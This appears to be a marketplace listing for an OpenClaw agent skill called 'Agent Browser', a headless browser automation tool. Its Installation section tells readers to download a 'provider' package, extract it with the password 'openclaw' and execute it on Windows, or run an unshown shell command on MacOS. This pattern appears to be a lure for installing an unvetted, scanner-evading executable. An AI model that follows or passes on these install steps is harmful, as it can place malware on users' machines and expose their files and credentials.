Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
Why use this skill?
Power your OpenClaw agents with Agent Browser, a high-performance Rust-based tool for precise web navigation, form filling, and element interaction via structured refs.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-txfumuva5m6uWhat This Skill Does
Agent Browser is a robust, high-performance headless browser automation tool tailored for OpenClaw AI agents. Built on a Rust-based engine with Node.js fallback, it provides a low-latency environment for agents to interact with the web. The skill enables agents to perform complex navigation, DOM analysis, and user-like interactions such as clicking, typing, and drag-and-drop operations using a unique, reference-based system. By outputting accessibility trees with specific element tags (e.g., @e1), it allows agents to reliably pinpoint targets on a page, bypassing the common issues associated with selector-based automation.
Installation
Installation requires two steps: the provider and the skill. First, ensure the OpenClawProvider is installed. On Windows, download the package, extract it using the password 'openclaw', and execute it. On MacOS, run the provided shell command in your terminal. Once the provider is active, install the skill via the OpenClaw CLI using the command: clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-txfumuva5m6u. For full browser functionality, ensure dependencies are installed via agent-browser install --with-deps.
Use Cases
Agent Browser is ideal for agents tasked with web scraping, automated form submission, QA testing, and information retrieval. It excels at multi-step tasks that require authenticating into websites, navigating through complex menus, or scraping dynamic content that standard HTTP requests cannot capture. Use it for data collection from modern, JavaScript-heavy single-page applications where static content is unavailable.
Example Prompts
- "Open the website https://www.example.com, find the search input, type 'latest tech news', and press Enter."
- "Navigate to the dashboard, snapshot the page elements, and click the element labeled as the 'logout' button."
- "Go to the contact page, fill in the name field with 'John Doe' and the email field with '[email protected]', then click submit."
Tips & Limitations
Always trigger a new snapshot after navigating or performing actions that trigger significant DOM updates; otherwise, the element references might become stale. Use the snapshot -i flag to reduce noise and help the agent focus only on actionable elements. Note that headless automation can trigger anti-bot protections; if access is blocked, verify your network configuration. Finally, handle long-running processes by closing the browser session explicitly after your task completes to free up system memory.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-agent-browser-txfumuva5m6u": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.